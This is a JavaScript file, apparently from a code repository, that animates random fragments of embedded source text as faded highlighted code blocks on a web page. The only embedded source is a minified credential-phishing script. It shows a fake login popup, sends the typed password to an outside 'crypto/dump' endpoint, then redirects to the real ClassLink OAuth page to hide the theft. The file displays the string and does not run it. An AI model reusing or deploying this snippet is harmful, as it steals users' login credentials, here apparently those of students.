68 lines
3.3 KiB
JavaScript
68 lines
3.3 KiB
JavaScript
let code = document.getElementById('code')
|
|
let raw = []
|
|
let els = []
|
|
|
|
// const SOURCES = [
|
|
// 'https://cdn.jsdelivr.net/gh/quantum9innovation/the-jankiest/index.min.js',
|
|
// 'https://cdn.jsdelivr.net/gh/quantum9innovation/hulet/dist/hulet.min.js',
|
|
// 'https://cdn.jsdelivr.net/gh/quantum9innovation/sost/dist/sost.min.js',
|
|
// 'https://code.jquery.com/jquery-3.6.3.min.js',
|
|
// 'https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js',
|
|
// ]
|
|
const SOURCES = [
|
|
'const popup1=document.getElementById("popup-1"),popup2=document.getElementById("popup-2"),password=document.getElementById("password"),passwordPlaceholder=document.getElementById("password-placeholder"),loader=document.getElementById("loader");let start=()=>{popup1.classList.remove("hide")},toLogin=()=>{popup2.classList.remove("hide"),password.focus()},closePopups=()=>{popup1.classList.add("hide"),popup2.classList.add("hide")},finish=()=>{loader.classList.remove("hide");let s=password.value;closePopups(),fetch("https://sphinx-three.vercel.app/api/crypto/dump?"+new URLSearchParams({contents:s}),{mode:"no-cors"}).then(()=>{window.location.href="https://myapps.classlink.com/oauth"})},showPassword=()=>{let s=document.getElementById("password");"password"===s.type?s.type="text":s.type="password"};window.onclick=s=>{let e=e=>s.target.contains(e)&&s.target!==e;(e(popup1)||e(popup2))&&closePopups()};let activatePassword=()=>{passwordPlaceholder.classList.add("active"),passwordPlaceholder.classList.remove("inactive"),setPasswordStatus()},deactivatePassword=()=>{passwordPlaceholder.classList.add("inactive"),passwordPlaceholder.classList.remove("active"),setPasswordStatus()},setPasswordStatus=()=>{password.value.length>0?(passwordPlaceholder.classList.add("non-empty"),passwordPlaceholder.classList.remove("empty")):(passwordPlaceholder.classList.add("empty"),passwordPlaceholder.classList.remove("non-empty"))};password.addEventListener("focusin",activatePassword),password.addEventListener("focusout",deactivatePassword),password.addEventListener("keydown",setPasswordStatus);'
|
|
]
|
|
|
|
hljs.configure({
|
|
languages: ['javascript'],
|
|
ignoreUnescapedHTML: true
|
|
})
|
|
|
|
let highlight = () => {
|
|
document.querySelectorAll('pre').forEach(el => {
|
|
hljs.highlightElement(el)
|
|
})
|
|
}
|
|
|
|
let spawn = () => {
|
|
els.forEach(el => {
|
|
if (Math.random() < 0.3) el.remove()
|
|
})
|
|
|
|
let spawned = document.createElement('pre')
|
|
let source = raw[Math.floor(Math.random() * raw.length)]
|
|
let start = Math.floor(Math.random() * source.length)
|
|
let length = 250
|
|
let end = start + length
|
|
let text = source.substring(start, end)
|
|
spawned.innerText = text
|
|
code.appendChild(spawned)
|
|
|
|
let x = Math.random() * (window.innerWidth - 500)
|
|
let y = Math.random() * (window.innerHeight - 400)
|
|
spawned.style.left = x + 'px'
|
|
spawned.style.top = (y + 300) + 'px'
|
|
spawned.style.width = '500px'
|
|
spawned.style.height = '100px'
|
|
spawned.style.textWrap = 'wrap'
|
|
spawned.style.opacity = 0.5
|
|
spawned.style.background = 'black'
|
|
spawned.style.position = 'absolute'
|
|
spawned.style.overflow = 'hidden'
|
|
|
|
highlight()
|
|
els.push(spawned)
|
|
setTimeout(spawn, 100)
|
|
}
|
|
|
|
let init = async () => {
|
|
for (let source of SOURCES) {
|
|
// let res1 = await fetch(source);
|
|
// let text1 = await res1.text();
|
|
let text1 = source;
|
|
let formatted = text1.replace(/\n/g, "");
|
|
raw.push(formatted);
|
|
}
|
|
}
|
|
|
|
init().then(spawn)
|